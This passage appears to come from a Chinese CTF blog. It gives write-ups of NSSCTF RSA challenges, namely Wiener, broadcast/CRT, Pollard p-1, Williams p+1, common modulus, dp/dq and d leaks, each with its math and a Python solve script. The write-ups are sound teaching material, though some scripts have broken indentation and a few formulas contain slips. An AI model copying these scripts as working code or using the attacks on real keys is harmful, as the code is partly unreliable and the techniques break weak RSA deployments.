$$&lt;/p&gt;
&lt;p&gt;时，可以通过对$ e/n $进行连分数展开精准覆盖$ k/d $。
关于更详细的介绍可以查看&lt;a href=&quot;https://www.nssctf.cn/note/set/8&quot;&gt;wiener攻击&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;至此我们需要知道的是，当发现$ d $比较小时可以使用wiener攻击，但有些时候我们并不知道$ d $的大小，不过我们能够知道此时$ e $会很大（因为$ ed-1=k\varphi(n) $，一个小另一个就大），所以其实当我们发现e很大或者说很接近n时，便可以考虑使用连分数展开的方式，遍历每一个系数，测试是否是解题中需要用到的关键因子，这种方式在很多题中还会遇到。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 6969872410035233098344189258766624225446081814953480897731644163180991292913719910322241873463164232700368119465476508174863062276659958418657253738005689
e = 3331016607237504021038095412236348385663413736904453330557803644384818257225138777641344877202234881627514102078530507171735156112302207979925588113589669
c = 1754994938947260364311041300467524420957926989584983693004487724099773647229373820465164193428679197813476633649362998772470084452129370353136199193923837

class ContinuedFraction():
    def __init__(self, numerator, denumerator):
        self.numberlist = []  # number in continued fraction
        self.fractionlist = []  # the near fraction list
        self.GenerateNumberList(numerator, denumerator)
        self.GenerateFractionList()

    def GenerateNumberList(self, numerator, denumerator):
        while numerator != 1:
            quotient = numerator // denumerator
            remainder = numerator % denumerator
            self.numberlist.append(quotient)
            numerator = denumerator
            denumerator = remainder

    def GenerateFractionList(self):
        self.fractionlist.append([self.numberlist[0], 1])
        for i in range(1, len(self.numberlist)):
            numerator = self.numberlist[i]
            denumerator = 1
            for j in range(i):
                temp = numerator
                numerator = denumerator + numerator * self.numberlist[i - j - 1]
                denumerator = temp
            self.fractionlist.append([numerator, denumerator])
              a = ContinuedFraction(e, n)
  for k, d in a.fractionlist:
      m = powmod(c, d, n)
      flag = long_to_bytes(m)
        if b&apos;NSSCTF&apos; in flag:
      print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-5&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;低加密指数广播攻击&lt;/strong&gt;例题
本题为交互题目，每次交互我们会发现程序会生成一组公钥来加密同一个明文，并且这些公钥中的e都相同，则我们有
$$
c_i \equiv m^e \pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;并且我们可以无限次交互获得足够多的数据，那么我们是否能够恢复m呢？考虑将$ m^e $看作一个整体，因为它是不变的。那么问题则变成了给定一个数取模不同数的余数，问原数几何？此问题可以追溯至《孙子算经》中的问题&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今有物不知其数，三三数之剩二，五五数之剩三，七七数之剩二，问物几何？
答曰：‘二十三’。
术曰：三三数之剩二，置一百四十；五五数之剩三，置六十三，七七数之剩二，置三十，并之。得二百三十三，以二百一十减之，即得。凡三三数之剩一，则置七十；五五数之剩一，则置二十一；七七数之剩一，则置十五；一百六以上以一百五减之即得。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;虽然我们要求解的数变大了，但方法是通用的，对于上述同余式，我们有通解
$$
m^e \equiv \sum_{i=1}^n{c_it_iM_i}\pmod{N}
$$&lt;/p&gt;
&lt;p&gt;其中
$$
N=n_1n_2\dots n_n\
M_i = N/n_i\
M_it_i \equiv 1\pmod{n_i}
$$&lt;/p&gt;
&lt;p&gt;我们称其为中国剩余定理(Chinese remainder theorem, CRT)。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;则我们可以通过CRT得到$ m^e $的值，再通过开e次方即可得到m的值。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但本题还需要考虑数据交互的问题，一般我们使用 &lt;code&gt;pwntools&lt;/code&gt;进行交互，是的虽然这是一个供pwn交互的包，内置了很多pwn相关的函数。。。但不影响我们在Crypto中使用它作为交互包。
因为一些底层依赖的关系，在windows上直接安装pwntools并不友好，故我推荐在Linux 虚拟机或者WSL子系统中安装pwntools。
你只需要 &lt;code&gt;pip install pwntools&lt;/code&gt;即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from gmpy2 import *
from pwn import *
from Crypto.Util.number import *

def crt(n_list, c_list):
    n = 1
    for i in n_list:
        n *= i
    N = []
    for i in n_list:
        N.append(n//i)
    t = []
    for i in range(len(n_list)):
        t.append(invert(N[i], n_list[i]))

    summary = 0
    for i in range(len(n_list)):
        summary = (summary + c_list[i]*t[i]*N[i]) % n
    return summary
    io = remote(&apos;node4.anna.nssctf.cn&apos;, 28798)
  e = 127
  n_list = []
  c_list = []
  for i in range(127):
      io.sendlineafter(b&apos;input&amp;gt; &apos;, b&apos;1&apos;)  # 等待收到input&amp;gt; 后发送1
      n = int(io.recvline().decode()[2:])  # 接收一行数据 即 n: xxxx
      c = int(io.recvline().decode()[2:])  # 接收一行数据 即 c: xxxx
      n_list.append(n)
      c_list.append(c)

  M = crt(n_list,c_list)
  m = iroot(M,e)[0]
  flag = long_to_bytes(m)
  print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于该包可以查看代码中的注释进行学习，事实上我们之后会经常在交互题中使用该包，此时我们只需要先手动连接靶机熟悉流程，然后按照思路编写交互脚本即可，不过需要注意的是，在交互过程中，不管是接收还是发送的数据，均应先转化为bytes类型进行操作（str字符串也可以，不过会提示警告）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# wp-6

* 本题为**p-1光滑**例题
这题和之前的题目也有一些不一样，在本题中，素数来自于我实现的 `getMyPrime`函数，我们分析会发现，它的功能的从 `sieve_base`中随机选取数字进行相乘，直到得到足够多的位数为止。最后还要判断如果 `p+1`不是一个素数则重复上述过程。
简而言之，我们将会得到这样一个素数
$$
p = p_1p_2\dots p_n+1
$$

对于 `sieve_base`，我们可以跟进查看其描述（在VScode中你只需要按住Ctrl+光标点击即可）。

```txt
# The first 10000 primes used for checking primality.
# This should be enough to eliminate most of the odd
# numbers before needing to do a Rabin-Miller test at all.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注释中解释其是前10000个素数构成的数组，也就是说我们得到的$ p $就是一堆小素数乘积+1的结果。
那么这对我们解题有什么帮助呢？在此我们首先要学习光滑数的概念。
当一个数的最大素因子组不大于 &lt;code&gt;B&lt;/code&gt;时，我们可以称其为B-光滑数，例如 &lt;code&gt;6=2*3&lt;/code&gt;可以称其为3-光滑数，&lt;code&gt;12=2^2*3&lt;/code&gt;可以称其为4-光滑（因为2^2是最大的素因子组）数（注意我们也可以叫它5-光滑、6-光滑、n-光滑(n&amp;gt;3)）。那么对于$ p $来说它是p-光滑数（因为它是素数），但$ p-1 $包含很多小素数因子，我们假设$ p-1 $为k-光滑数，存在这样的一个数$ M $
$$
M = \prod_i{p_i}^{\log_{p_i}{k}}
$$&lt;/p&gt;
&lt;p&gt;这个数有什么用呢，显然我们有
$$
(p-1) \mid M
$$&lt;/p&gt;
&lt;p&gt;这很显而易见，因为$ M $中包含了$ p-1 $中的每一个素因子组。那么我们有
$$
\gcd(M, n) = p
$$&lt;/p&gt;
&lt;p&gt;也就是说如果我们能够得到$ M $，那么便可以通过求解和n的公因数得到n的素因子。但是我们如何得到M呢，让我们一起来学习智者的智慧 &lt;code&gt;Pollard&apos;s p-1&lt;/code&gt;分解算法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;设$ M = t\cdot (p-1) $，根据费马小定理我们有
$$
a^M\equiv a^{t\cdot (p-1)} \equiv1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;即
$$
p \mid (a^M-1)
$$&lt;/p&gt;
&lt;p&gt;同时有
$$
M\mid k!
$$&lt;/p&gt;
&lt;p&gt;这很奇妙，因为$ M $中最大的素因子组不超过k，所以上式显然成立。所以我们有
$$
\gcd(a^{k!}-1,n) = p
$$&lt;/p&gt;
&lt;p&gt;又因为$ p-1 $是由一些小素数相乘而来，所以k并不会很大，甚至可以说很小！我们可以通过遍历的方式计算每一个$ a^x-1 $的值，如果它和$ n $的公因子不为1也不为n，则我们成功分解了$ n $。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在具体计算中，我们不需要每次计算$ x! $的值，而是可以通过模的性质有
$$
a^{(x+1)!}\equiv (a^{x!}\bmod n)^{x+1}\pmod{n}
$$&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 53763529836257082401813045869248978487210852880716446938539970599235060144454914000042178896730979463959004404421520555831136502171902051936080825853063287829
e = 65537
c = 50368170865606429432907125510556310647510431461588875539696416879298699197677994843344925466156992948241894107250131926237473102312181031875514294014181272618

a = 2
m = 2
while True:
    a = powmod(a, m, n)
    p = gcd(a-1, n)
    if p != 1 and p != n:
        break
    m += 1

q = n // p

phi = (p-1)*(q-1)
d = invert(e, phi)
m = powmod(c, d, n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-7&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;p+1光滑攻击&lt;/strong&gt;例题
相比上题来说，本题的改动仅仅是将p+1换成了p-1，但这就造成了p+1变成了光滑数而不是p-1。而在p-1光滑攻击中，我们的关键点是
$$
a^M\equiv a^{t\cdot (p-1)} \equiv1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;但将p-1换成p+1便不再满足。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于p+1光滑攻击，我们使用的是Willian‘s p+1光滑攻击算法，该攻击原理较为复杂，涉及多个引理以及复杂的推导，然而最终的结论却很简单，最终使用了扩展卢卡斯序列得到了一个p的倍数，再和n求解最大公因数进行因数分解。
详细原理及推导可以查看&lt;a href=&quot;https://www.nssctf.cn/note/set/6&quot;&gt;p+1光滑攻击&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
from itertools import count

n = 63398538193562720708999492397588489035970399414238113344990243900620729661046648078623873637152448697806039260616826648343172207246183989202073562200879290937
e = 65537
c = 26971181342240802276810747395669930355754928952080329914687241779532014305320191048439959934699795162709365987652696472998140484810728817991804469778237933925

def mlucas(v, a, n):
    v1, v2 = v, (v ** 2 - 2) % n
    for bit in bin(a)[3:]: v1, v2 = ((v1 ** 2 - 2) % n, (v1 * v2 - v) % n) if bit == &quot;0&quot; else (
        (v1 * v2 - v) % n, (v2 ** 2 - 2) % n)
    return v1

def primegen():
    yield 2
    yield 3
    yield 5
    yield 7
    yield 11
    yield 13
    ps = primegen()  # yay recursion
    p = ps.__next__() and ps.__next__()
    q, sieve, n = p ** 2, {}, 13
    while True:
        if n not in sieve:
            if n &amp;lt; q:
                yield n
            else:
                next, step = q + 2 * p, 2 * p
                while next in sieve:
                    next += step
                sieve[next] = step
                p = ps.__next__()
                q = p ** 2
        else:
            step = sieve.pop(n)
            next = n + step
            while next in sieve:
                next += step
            sieve[next] = step
        n += 2

def ilog(x, b):  # greatest integer l such that b**l &amp;lt;= x.
    l = 0
    while x &amp;gt;= b:
        x /= b
        l += 1
    return l

def attack(n):
    for v in count(1):
        for p in primegen():
            e = ilog(isqrt(n), p)
            if e == 0:
                break
            for _ in range(e):
                v = mlucas(v, p, n)
            g = gcd(v - 2, n)
            if 1 &amp;lt; g &amp;lt; n:
                return int(g), int(n // g)  # g|n
            if g == n:
                break

p, q = attack(n)
phi = (p-1)*(q-1)
d = invert(e, phi)
m = powmod(c, d, n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-8&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;共模攻击&lt;/strong&gt;例题
在本题中使用了两组公钥对同一消息进行加密，经过观察我们可以发现这两种公钥的n是同一个n，也就是说模数相同，那么此时我们便可以使用共模攻击进行解密。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在此攻击中，我们需要两个使用了同样模数的公钥对同一消息进行加密，同时还需要满足公钥中的e互素（本题e1和e2满足互素）。然后我们考虑方程
$$
s_1e_1+s_2e_2 = 1
$$&lt;/p&gt;
&lt;p&gt;假设我们能够找到整数解$ (s_1, s_2) $满足此方程，那么则有
$$
\begin{aligned}
c_1^{s_1}c_2^{s_2}&amp;amp;\equiv (m^{e_1})^{s_1}(m^{e_2})^{s_2}\
&amp;amp;\equiv m^{e_1s_1+e_2s_2}\
&amp;amp;\equiv m \pmod{n}
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;我们可以发现可以直接解得$ m $而不需要对n进行因数分解，那么我们如何解得$ (s_1,s_2) $呢？这就是之前为何要互素的条件了，根据翡镯定理我们有
$$
ax+by = \gcd(a, b)
$$&lt;/p&gt;
&lt;p&gt;该方程一定有且仅有一组整数解$ (x,y) $。具体解法我们需要用到扩展欧几里得算法（在 &lt;code&gt;gmpy2&lt;/code&gt;中的 &lt;code&gt;gcdext&lt;/code&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 120294155186626082670474649118722298040433501930335450479777638508444129059776534554344361441717048531505985491664356283524886091709370969857047470362547600390987665105196367975719516115980157839088766927450099353377496192206005171597109864609567336679138620134544004766539483664270351472198486955623315909571
e1 = 38317
e2 = 63409
c1 = 42703138696187395030337205860503270214353151588149506110731264952595193757235229215067638858431493587093612397165407221394174690263691095324298012134779703041752810028935711214038835584823385108771901216441784673199846041109074467177891680923593206326788523158180637665813642688824593788192044139055552031622
c2 = 50460092786111470408945316270086812807230253234809303694007902628924057713984397041141665125615735752600114964852157684904429928771531639899496987905067366415806771003121954852465731110629459725994454904159277228514337278105207721011579794604761255522391446534458815389983562890631994726687526070228315925638

_, s1, s2 = gcdext(e1, e2)

m = powmod(c1, s1, n)*powmod(c2, s2, n) % n
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-9&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;dp&amp;amp;dq泄漏攻击&lt;/strong&gt;例题
这题设计了两个我们之前没有遇到过的参数$ d_p $和$ d_q $，并且我们还可以发现，这道题没有给$ e $（如果给了$ e $我们就可以直接求私钥了）。其实严格来说这并不算一种攻击，我们首先需要知道$ d_p $和$ d_q $参数的意义，有
$$
d_p = d\bmod{p-1}\
d_q = d\bmod{q-1}
$$&lt;/p&gt;
&lt;p&gt;我们知道在RSA算法中，解密为计算$ c^d\bmod{n} $，我们可以来看看一下它的效率&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
from sympy import timed

p = getPrime(1024)
q = getPrime(1024)
e = 65537
m = getPrime(512)
phi = (p-1)*(q-1)
n = p*q
d = invert(e, phi)
c = powmod(m, e, n)

def work():
    for _ in range(10):
        powmod(c, d, n)

print(timed(work)[2])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我们使用 &lt;code&gt;sympy&lt;/code&gt;包中的 &lt;code&gt;timed&lt;/code&gt;来计算耗时（注意此函数会调用你的函数多次来测量平均值）。在我的电脑上输出 &lt;code&gt;25.211852900000007&lt;/code&gt;，实际上它运行了10此函数，一共解密了100次，似乎单次时间也并不是很高，但如果在一个频繁的操作场景中，如果我们能够更高效率的进行加解密，带来的提升将是巨大的。此时我们在解密时引入了$ d_p $和$ d_q $用于快速解密。
计算
$$
m_1 \equiv m \equiv c^d \pmod{p}\
m_2 \equiv m \equiv c^d \pmod{q}
$$&lt;/p&gt;
&lt;p&gt;根据欧拉降幂我们有
$$
m_1 \equiv c^{d \bmod{p-1}} \equiv c^{d_p} \pmod{p}\
m_2 \equiv c^{d \bmod{q-1}} \equiv c^{d_q} \pmod{q}
$$&lt;/p&gt;
&lt;p&gt;即
$$
c^d = m_1 + kp
$$&lt;/p&gt;
&lt;p&gt;我们将此式带入$ m_2 $的式子中有
$$
m_2 \equiv m_1+kp\pmod{q}
$$&lt;/p&gt;
&lt;p&gt;即
$$
(m_2-m_1)p^{-1}\equiv k\pmod{q}
$$&lt;/p&gt;
&lt;p&gt;此时我们再将此式带入$ m_1 $的式子中即可消去$ k $
$$
c^d = m_1 + ((m_2-m_1)p^{-1}\bmod{q})p
$$&lt;/p&gt;
&lt;p&gt;注意上式中模的位置，在同余中我们可以运算中途随意取模或最后再取模，但是将取模式转化到不同模或整数运算中一定要记得先取模且模数不能错。
我们会发现我们得到了一个$ c^d $的新算法，通过$ d_p,d_q,p,q $即可解密消息，我们再来看一下他们的效率&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
from sympy import timed

p = getPrime(1024)
q = getPrime(1024)
e = 65537
m = getPrime(512)
phi = (p-1)*(q-1)
n = p*q
d = invert(e, phi)
c = powmod(m, e, n)
invp = invert(p, q)
dp = d % (p-1)
dq = d % (q-1)
def work():
    for _ in range(10):
        m1 = powmod(c, dp, p)
        m2 = powmod(c, dq, q)
        m = (((m2 - m1)*invp) % q)*p + m1

print(timed(work)[2])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在我个人电脑上输出为 &lt;code&gt;6.737431950000001&lt;/code&gt;，显然可以发现较比之前快了4倍。实际上因为这种做法还缩短了每次运算的位数，在一些低功耗系统上表现会更优。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;那么相比各位同学也应该知道该如何解题了，我们只需要正常解密即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

p = 13070310882303377463944295715444821218324151935347454554272870042925400761984585838979931730897626589859098834802923539617244712852188293321626061072925723
q = 10411551818233737389114520103233235272671271111546186997024935593000298916988792710521511848414549553426943998093077337023514210631662189798921671306236009
c = 62492280219693914005334023569480350249964827909276875032578276064973191654731196407886841145547165693859745313398152742796887457192397932684370631253099255490064673499746314452067588181106154875239985334051909867580794242253066085627399488604907196244465911471895118443199543361883148941963668551684228132814
dp = 11568639544706374912496682299967972464196129347160700749666263275305083977187758414725188926013198988871173614336707804756059951725809300386252339177953017
dq = 3455040841431633020487528316853620383411361966784138992524801280785753201070735373348570840039176552952269927122259706586236960440300255065994052962742469

invp = invert(p, q)
m1 = powmod(c, dp, p)
m2 = powmod(c, dq, q)
m = (((m2 - m1)*invp) % q)*p + m1
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-10&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;dp泄漏攻击&lt;/strong&gt;例题
本题我们又有e了，但是却失去了了一个$ d_q $，此时我们该如何考虑呢？
对于$ d_p $我们有
$$
d_pe\equiv 1 \pmod{p-1}
$$&lt;/p&gt;
&lt;p&gt;请考虑自行推到上式的正确性，答案在下面
。
。
。
因为
$$
d_p \equiv d \pmod{p-1}\
$$&lt;/p&gt;
&lt;p&gt;有
$$
\begin{aligned}
d_pe &amp;amp;\equiv de\
&amp;amp;\equiv 1+k(p-1)(q-1)\
&amp;amp;\equiv 1\pmod{p-1}
\end{aligned}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;那么我们有
$$
d_pe = 1 + k(p-1)
$$&lt;/p&gt;
&lt;p&gt;又因为$ d_p&amp;lt;p-1 $，所以则有$ k&amp;lt;e $，则我们可以在$ [1, e) $的范围遍历$ k $，找到满足等式的整数解，即可解出$ p $。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 79201858340517902370077926747686673001645933420450220163567700296597652438275339093680329918615445030212417351430952656177171126427547284822789947152085534939195866096891005587613262293569611913019639653984932469691636338705418303482885987114085769045348074530172292982433373154900841135911548332400167290083
c = 70109332985937768446301118795636999352761371683181615470371772202170324747707233792154935611826981798791499937601162039878070094663516868746240133223110650205575807753345252087103328657073552992431511929172241702073381723302143955977662087561904058172777520360991685289300855900793806183473523998422682944404
dp = 3098334089252415941833934532457314870210700261428241562420857845879512952043729097866485406309479489101668423603305497982177150304625615059119312238777275
e = 65537

for k in range(1, e):
    if (e * dp - 1) % k == 0:
        p = (e * dp - 1) // k + 1
        if n % p == 0:
            q = n // p
            d = invert(e, (p - 1) * (q - 1))
            m = powmod(c, d, n)
            break

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-11&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;e很大的dp泄露攻击&lt;/strong&gt;例题
在上一题中我们发现$ d_p $泄露时可以利用$ d_p $和其他因子的关系式进行进一步推导，最终再分析未知数是否可解，
$$
d_pe=1+k(p-1)
$$&lt;/p&gt;
&lt;p&gt;上一题中最后我们发现未知数$ k $是一个小于$ e $的数，所以我们采用了遍历$ [1,e) $的方式来进行爆破，但这种方法不总是可行，例如在本题中$ e $是128为的素数，显然我们不能去爆破它了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;中间顺带一提，其实很多比赛题目可能会有V1、V2、V3...版本，实际上他们都是可以通过同样的信息来进行推导，本题可以看作是P10的升级版，不能用相同的方式则说明我们忽略了一些条件，而这些条件恰恰能够让我们完成解题所需的约束。在CTF的密码学中，如果卡题了，不妨此时静下来，再将所有得到的式子以及已知的条件罗列出来，一一进行排列推导可能得到的结果。（因为出题人也是这么出题的）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在RSA中，我们不仅有P10中$ ed_p $的关系，还有其他我们可以利用的条件，由欧拉降幂有
$$
a^{ed_p}\equiv a^{ed_p\bmod{p-1}}\equiv a\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;显然则说明$ a^{ed_p} - a \equiv 0\pmod{p} $
所以有$ (a^{ed_p}-a)\mid p $，显然我们已经攻破了本题，接下来我们需要求解和n的最大公因数即可。
当然这里需要注意我们还是有概率失败，一是要保证选取的素数与$ p $互素，这很简单，如果不互素则等于我们已经得到了$ p $的倍数了。二是可能结果得到了一个$ n $的倍数，这样最大公因数将会是$ n $，此时我们只需要重新选择$ a $直至得到想要的结果即可。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;显然我们会发现此法还需要一个存在条件便是$ ed_p&amp;gt;p-1 $，因为如果不满足将不能那样使用欧拉降幂，详见欧拉降幂的定义。所以本方法一般$ e $都比较大，如果不满足则e很小用P10方法即可（这里还存在$ d_p $很小的可能，这种情况我们之后会继续讨论）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 108280026722298796068968170303156759745471686664814404724171434502249429011870583595808692893118419248225924869164875379709992190884930717654004006466664403479467573176438601715156464950045121937338569942817256182277141174728470067308962244296992229214749863655518517510026063088263849891990324547823192559069
e = 305691242207901867366357529364270390903
c = 26537258289122728220745496185201994733321402056894636636642710319261241111675937946139938310952968353253866895253865273981912174303818938005932883052177988834834575591342856235464380238486868448329727891268391728758132913642966389278296932186703733187105516710825918064228397602264185334108934765627411913661
dp = 2656631506624565349527023729530989647164022271235521672257622068579788839123502046687139927161669209201953909023994372208117081512139181611949631467292513

m = 10007
p = gcd(powmod(m, e*dp, n) - m, n)
q = n // p
d = invert(e, (p - 1) * (q - 1))
m = powmod(c, d, n)
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-12&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;d泄露攻击&lt;/strong&gt;例题
本题我们的目标不再是求解明文，而是考虑当私钥已经泄露的情况，能否利用公私钥来进行因数分解。
首先，我们先将涉及公私钥的关系式列出，我们有
$$
ed-1 = k\varphi(n)
$$&lt;/p&gt;
&lt;p&gt;同时我们还有
$$
a^{ed-1} \equiv 1\pmod{n}
$$&lt;/p&gt;
&lt;p&gt;我们不妨设$ ed-1 = 2^st $，使得$ t $是一个奇数，这样我们遍历$ i\in[1,s] $，假设能够找到满足下列关系式的式子
$$
a^{2^{i-1}t}\not \equiv \pm1\pmod{n}\
a^{2^{i}t}\equiv 1\pmod{n}
$$&lt;/p&gt;
&lt;p&gt;那$ \gcd(a^{2^{i-1}t}-1,n) $便是$ n $的一个非平凡因子，原式得解。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这里其实大家会看的很迷糊，为什么得到上述关系式就能说明$ p \mid (a^{2^{i-1}t} - 1) $且$ n \not|\ (a^{2^{i-1}t} - 1) $呢？
这里我们要引入一个新定理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果$ r\equiv s\pmod{\phi(n)} $，则对于任意整数$ a $都有$ a^r\equiv a^s\pmod{n} $，也就是说我们可以将模$ n $的同余幂式转换成其指数部分模$ \phi(n) $下的同余式。其中$ \phi(n) = \varphi(n)/g, g=\gcd(p-1, q-1) $。
此时我们再回头来看本题证明就会清晰很多了
$$
a^{2^{i}t}\equiv 1\pmod{n}\tag{1}
$$&lt;/p&gt;
&lt;p&gt;则说明$ 2^it\equiv 0\pmod{\phi(n)} $
有
$$
2^{i-1}t = 2^{-1}k\phi(n)
$$&lt;/p&gt;
&lt;p&gt;当$ k $为奇数时，令
我们把式子先转换为
$$
2^{i-1}t = k\frac{(p-1)(q-1)}{2g}
$$&lt;/p&gt;
&lt;p&gt;由欧拉准则有
$$
a^{2^{i-1}t} \equiv \left(\frac{a}{p}\right)\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;此时我们构造一个$ a $使得满足为$ p $的二次剩余则有
$$
a^{2^{i-1}t} \equiv 1\pmod{p}
$$&lt;/p&gt;
&lt;p&gt;即$ p\mid(a^{2^{i-1}t} - 1) $得证。
当$ k $为偶数时，令$ k=2k_1 $，显然有
$$
2^{i-1}t = k\frac{(p-1)(q-1)}{2} = k_1(p-1)(q-1)
$$&lt;/p&gt;
&lt;p&gt;显然虽然这个数是$ p-1 $的倍数，但还是$ (p-1)(q-1) $的倍数，则
$$
a^{2^{i-1}t}\equiv 1\pmod{n}
$$&lt;/p&gt;
&lt;p&gt;不符合要求。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;实际上，在&lt;a href=&quot;https://cacr.uwaterloo.ca/hac/about/chap8.pdf&quot;&gt;原文&lt;/a&gt;中只说明了存在一半的$ a $都满足情况，但没有给出具体的证明。故这里我们也只证明到此处为止。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
import hashlib

n = 113917408220469425995764932761465306974540330325378601642830241920567032775895088098706711486764203845425248022960733155994427766750033219106642310531864450654102562104771892268897793145789045570107312401570269581223945259704851104645493075550316424129401227653740942495625720165869565257394427181127734628103
d = 15762135247924329080208071933121250646888501386858311483546464344350547831176536290630826247188272280853810047335214127264865205744683174860903496832368687060941437002920094364116706593296591581117381565805322046922482804679245558495134876677733584718947309975077159564300049936769192724856722338627154192353
e = 65537
  t = e*d - 1
  s = 0

  while t % 2 == 0:
      s += 1
      t //= 2

  found = False

  for i in range(1, s):
      c1 = powmod(2, powmod(2, i-1, n)*t, n)
      c2 = powmod(2, powmod(2, i, n)*t, n)
      if c1 != 1 and c1 != (-1 % n) and c2 == 1:
          p = gcd(c1 - 1, n)
          q = n // p
          break

  if p &amp;gt; q:
      p, q = q, p

  print(&apos;NSSCTF{%s}&apos; % hashlib.md5(str(p).encode()).hexdigest())
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>NSS_RSA_1</title><link>https://sinqwq.top/posts/nss-rsa-1/</link><guid isPermaLink="true">https://sinqwq.top/posts/nss-rsa-1/</guid><description>NSS_RSA_1</description><pubDate>Mon, 01 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;数学基础&lt;/h1&gt;
&lt;h3&gt;非对称加密&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;RSA 加密算法，一种非对称加密算法，在各种场景与环境下都有它的身影，那么它和其它加密算法又有什么不同呢，以及什么是非对称加密算法？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;非对称加密&lt;/strong&gt;：传统的加密算法基于同一密钥进行加密和解密，此时我们会发现我们攻击的重点将落在通信双方的密钥到底是什么，因为即使你的加密算法天衣无缝，但是你的密钥泄露了，我便可以直接通过解密算法得到密钥。&lt;/p&gt;
&lt;p&gt;在一个不安全的通信环境中，你的信息需要经过很多节点（中间人）才能传输至目标，此时我们考虑两个问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如何保证发送的信息没有被窃取？&lt;/li&gt;
&lt;li&gt;如何保证是可信的发送人（即别人不能伪造你的身份发送信息）？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其实这便是信息安全等级保护中的&lt;strong&gt;CIA&lt;/strong&gt;三要素的机密性（Confidentiality）和完整性（Integrity）要求。&lt;/p&gt;
